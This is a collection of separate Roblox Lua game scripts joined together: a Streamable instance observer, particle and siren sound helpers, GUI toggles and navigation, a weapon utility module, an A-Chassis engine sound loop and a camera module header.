_L.Services.HapticService:SetMotor(Enum.UserInputType.Gamepad1, Enum.VibrationMotor.Large, 0) end end)() end
--[[ streamable = Streamable.new(parent: Instance, childName: string) streamable:Observe(handler: (child: Instance, janitor: Janitor) -> void): Connection streamable:Destroy() --]]
type StreamableWithInstance = { Instance: Instance?, [any]: any, } local Janitor = require(script.Parent.Janitor) local Signal = require(script.Parent.Signal) local Streamable = {} Streamable.__index = Streamable function Streamable.new(parent: Instance, childName: string) local self: StreamableWithInstance = {} setmetatable(self, Streamable) self._janitor = Janitor.new() self._shown = Signal.new(self._janitor) self._shownJanitor = Janitor.new() self._janitor:Add(self._shownJanitor) self.Instance = parent:FindFirstChild(childName) local function OnInstanceSet() local instance = self.Instance if typeof(instance) == "Instance" then self._shown:Fire(instance, self._shownJanitor) self._shownJanitor:Add(instance:GetPropertyChangedSignal("Parent"):Connect(function() if not instance.Parent then self._shownJanitor:Cleanup() end end)) self._shownJanitor:Add(function() if self.Instance == instance then self.Instance = nil end end) end end local function OnChildAdded(child: Instance) if child.Name == childName and not self.Instance then self.Instance = child OnInstanceSet() end end self._janitor:Add(parent.ChildAdded:Connect(OnChildAdded)) if self.Instance then OnInstanceSet() end return self end function Streamable:Observe(handler) if self.Instance then task.spawn(handler, self.Instance, self._shownJanitor) end return self._shown:Connect(handler) end function Streamable:Destroy() self._janitor:Destroy() end export type Streamable = typeof(Streamable.new(workspace, "X")) return Streamable
--[[ Sets rate to 0, then waits for particle lifetime before destroying, as destroying an emitter immediately removes all it's particles as well. ]]
return function(particleEmitter, delay) if not particleEmitter or not particleEmitter:IsA("ParticleEmitter") then return end coroutine.wrap( function() if delay and tonumber(delay) then wait(delay) end particleEmitter.Rate = 0 wait(particleEmitter.Lifetime.Max) particleEmitter:Destroy() end )() end
--Made by Superluck, Uploaded by FederalSignal_QCB. --Made by Superluck, Uploaded by FederalSignal_QCB. --Made by Superluck, Uploaded by FederalSignal_QCB.
wait(1) Loud = 500 while true do script.Parent.Parent.Parent.Main.SoundBlock.Value.Sound.PlaybackSpeed = script.Parent.PlaybackSpeed script.Parent.Parent.Parent.Main.SoundBlock.Value.Sound.Volume = (script.Parent.Volume*2)*(Loud/50) script.Parent.Parent.Parent.Main.SoundBlock.Value.Sound.RollOffMinDistance = script.Parent.RollOffMinDistance*Loud script.Parent.Parent.Parent.Main.SoundBlock.Value.Sound.SoundId = script.Parent.SoundId script.Parent.Parent.Parent.Main.SoundBlock.Value.Sound.Playing = script.Parent.Playing if script.Parent.Parent.Parent.Main.Config.SoftStart.Value == true then if script.Parent.Parent.Parent.Main.Amps.Value == true and Loud < 500 then Loud += 50 elseif script.Parent.Parent.Parent.Main.Amps.Value == false then Loud = 0 end else Loud = 506 end wait() end
-- Ban menu open script
script.Parent.MouseButton1Click:Connect(function() if script.Parent.Parent.Main.Visible == false then script.Parent.Parent.Main.Visible = true else script.Parent.Parent.Main.Visible = false end end)
--// B key, Dome Light
mouse.KeyDown:connect(function(key) if key=="b" then veh.Lightbar.middle.Beep:Play() veh.Lightbar.Remotes.DomeEvent:FireServer(true) end end)
-- Navigation
for _,NavButton in pairs(Navigation:GetChildren()) do if NavButton:IsA("TextButton") then NavButton.MouseButton1Click:connect(function() local CurrentIndex; local NextIndex; local NextFrame = NavButton.Name; if NextFrame ~= CurrentFrame and not Tweening then for _,Button in pairs(Navigation:GetChildren()) do if Button:IsA("TextButton") then Button.Style = (Button==NavButton and Enum.ButtonStyle.RobloxRoundDefaultButton) or Enum.ButtonStyle.RobloxRoundButton; end; end; Tweening = true; ChangeAction(EquipButton,0.1); for Index,Frame in pairs(NavOrder) do if Frame == CurrentFrame then CurrentIndex = Index; elseif Frame == NextFrame then NextIndex = Index; end; end; local Forward = (NextIndex>CurrentIndex and true) or false; local CurrentFrameTweenPosition = (Forward and UDim2.new(-1,0,0,0)) or UDim2.new(1,0,0); local NextFramePosition = (Forward and UDim2.new(1,0,0,0)) or UDim2.new(-1,0,0,0); Main[NextFrame].Position = NextFramePosition; Main[CurrentFrame]:TweenPosition(CurrentFrameTweenPosition,Direction,Style,Time,false); Main[NextFrame]:TweenPosition(UDim2.new(0,0,0,0),Direction,Style,Time,false); CurrentFrame = NextFrame; wait(Time); Tweening = false; end; end) end; end Dock.Inventory.MouseButton1Click:connect(function() if GameGUI.Processing.Visible or GameGUI.CaseOpen.Visible then return; end; GameGUI.ChangeGameMode.Visible = false; GameGUI.Radio.Visible = false; InventoryFrame.Visible = not InventoryFrame.Visible; GameGUI.Crafting.Visible = false; GameGUI.Santa.Visible = false; end) Dock.Shop.MouseButton1Click:connect(function() InventoryFrame.Visible = false; GameGUI.Crafting.Visible = false; GameGUI.Santa.Visible = false; end)
--Made by Luckymaxer
Players = game:GetService("Players") Debris = game:GetService("Debris") RbxUtility = LoadLibrary("RbxUtility") Create = RbxUtility.Create Functions = {} function Functions.Clamp(Number, Min, Max) return math.max(math.min(Max, Number), Min) end function Functions.GetPercentage(Start, End, Number) return (((Number - Start) / (End - Start)) * 100) end function Functions.Round(Number, RoundDecimal) local WholeNumber, Decimal = math.modf(Number) return ((Decimal >= RoundDecimal and math.ceil(Number)) or (Decimal < RoundDecimal and math.floor(Number))) end function Functions.IsTeamMate(Player1, Player2) return (Player1 and Player2 and not Player1.Neutral and not Player2.Neutral and Player1.TeamColor == Player2.TeamColor) end function Functions.TagHumanoid(humanoid, player) local Creator_Tag = Create("ObjectValue"){ Name = "creator", Value = player, } Debris:AddItem(Creator_Tag, 2) Creator_Tag.Parent = humanoid end function Functions.UntagHumanoid(humanoid) for i, v in pairs(humanoid:GetChildren()) do if v:IsA("ObjectValue") and v.Name == "creator" then v:Destroy() end end end function Functions.CheckTableForString(Table, String) for i, v in pairs(Table) do if string.find(string.lower(String), string.lower(v)) then return true end end return false end function Functions.CheckIntangible(Hit) local ProjectileNames = {"Water", "Arrow", "Projectile", "Effect", "Rail", "Laser", "Bullet"} if Hit and Hit.Parent then if ((not Hit.CanCollide or Hit.Parent:IsA("Hat") or Functions.CheckTableForString(ProjectileNames, Hit.Name)) and not Hit.Parent:FindFirstChild("Humanoid")) then return true end end return false end function Functions.CastRay(StartPos, Vec, Length, Ignore, DelayIfHit) local Ignore = ((type(Ignore) == "table" and Ignore) or {Ignore}) local RayHit, RayPos, RayNormal = game:GetService("Workspace"):FindPartOnRayWithIgnoreList(Ray.new(StartPos, Vec * Length), Ignore) if RayHit and Functions.CheckIntangible(RayHit) then if DelayIfHit then wait() end RayHit, RayPos, RayNormal = Functions.CastRay((RayPos + (Vec * 0.01)), Vec, (Length - ((StartPos - RayPos).magnitude)), Ignore, DelayIfHit) end return RayHit, RayPos, RayNormal end function Functions.CheckTableForInstance(Table, Instance) for i, v in pairs(Table) do if v == Instance then return true end end return false end function Functions.GetAllConnectedParts(Object) local Parts = {} local function GetConnectedParts(Object) for i, v in pairs(Object:GetConnectedParts()) do local Ignore = false if not Functions.CheckTableForInstance(Parts, v) then table.insert(Parts, v) GetConnectedParts(v) end end end GetConnectedParts(Object) return Parts end function GetTotalParts(MaxParts, PossibleParts, Parts) if MaxParts < PossibleParts then return MaxParts elseif Parts >= MaxParts then return 0 elseif MaxParts >= PossibleParts then local PartCount = (MaxParts - PossibleParts) if Parts <= MaxParts then PartCount = (MaxParts - Parts) if PartCount > PossibleParts then return PossibleParts else return PartCount end elseif PartCount >= PossibleParts then return PossibleParts else return PartCount end end end function Functions.GetParts(Region, MaxParts, Ignore) local Parts = {} local RerunFailed = false while #Parts < MaxParts and not RerunFailed do local Region = Region local PossibleParts = GetTotalParts(MaxParts, 100, #Parts) local PartsNearby = game:GetService("Workspace"):FindPartsInRegion3WithIgnoreList(Region, Ignore, PossibleParts) if #PartsNearby == 0 then RerunFailed = true else for i, v in pairs(PartsNearby) do table.insert(Parts, v) table.insert(Ignore, v) end end end return Parts end return Functions
-- Used by Fiber to simulate a try-catch.
local hasError = false local caughtError = nil
--[[ ___ _______ _ / _ |____/ ___/ / ___ ____ ___ (_)__ / __ /___/ /__/ _ \/ _ `(_-<(_-</ (_-< /_/ |_| \___/_//_/\_,_/___/___/_/___/ SecondLogic @ Inspare ]]
local FE = workspace.FilteringEnabled local car = script.Parent.Car.Value local handler = car:WaitForChild("AC6_FE_Sounds") local _Tune = require(car["A-Chassis Tune"]) local on = 0 local mult=0 local det=.13 local trm=.4 local trmmult=0 local trmon=0 local throt=0 local redline=0 local shift=0 script:WaitForChild("Rev") script.Parent.Values.Gear.Changed:connect(function() mult=1 if script.Parent.Values.RPM.Value>5000 then shift=.2 end end) for i,v in pairs(car.DriveSeat:GetChildren()) do for _,a in pairs(script:GetChildren()) do if v.Name==a.Name then v:Stop() wait() v:Destroy() end end end handler:FireServer("newSound","Rev",car.DriveSeat,script.Rev.SoundId,0,script.Rev.Volume,true) handler:FireServer("playSound","Rev") car.DriveSeat:WaitForChild("Rev") while wait() do mult=math.max(0,mult-.1) local _RPM = script.Parent.Values.RPM.Value if script.Parent.Values.Throttle.Value <= _Tune.IdleThrottle/100 then throt = math.max(.3,throt-.2) trmmult = math.max(0,trmmult-.05) trmon = 1 else throt = math.min(1,throt+.1) trmmult = 1 trmon = 0 end shift = math.min(1,shift+.2) if script.Parent.Values.RPM.Value > _Tune.Redline-_Tune.RevBounce/4 and script.Parent.Values.Throttle.Value > _Tune.IdleThrottle/100 then redline=.5 else redline=1 end if not script.Parent.IsOn.Value then on=math.max(on-.015,0) else on=1 end local Volume = (2*throt*shift*redline)+(trm*trmon*trmmult*(1-throt)*math.sin(tick()*50)) local Pitch = math.max((((script.Rev.SetPitch.Value + script.Rev.SetRev.Value*_RPM/_Tune.Redline))*on^2)+(det*mult*math.sin(80*tick())),script.Rev.SetPitch.Value) if FE then handler:FireServer("updateSound","Rev",script.Rev.SoundId,Pitch,Volume) else car.DriveSeat.Rev.Volume = Volume car.DriveSeat.Rev.Pitch = Pitch end end
-- ROBLOX deviation START: Package not available, setting type to object -- local istanbul_lib_coverageModule = require(rootWorkspace["istanbul-lib-coverage"])
type CoverageMapData = Object
--[[ Uses a RigidConstraint to attach secondaryAttachment to primaryAttachment --]]
local function rigidlyAttach(primaryAttachment: Attachment, secondaryAttachment: Attachment) local rigidConstraint = Instance.new("RigidConstraint") rigidConstraint.Attachment0 = primaryAttachment rigidConstraint.Attachment1 = secondaryAttachment rigidConstraint.Parent = secondaryAttachment.Parent rigidConstraint.Enabled = true return rigidConstraint end return rigidlyAttach
--!nonstrict --[[ ClassicCamera - Classic Roblox camera control module 2018 Camera Update - AllYourBlox Note: This module also handles camera control types Follow and Track, the latter of which is currently not distinguished from Classic --]]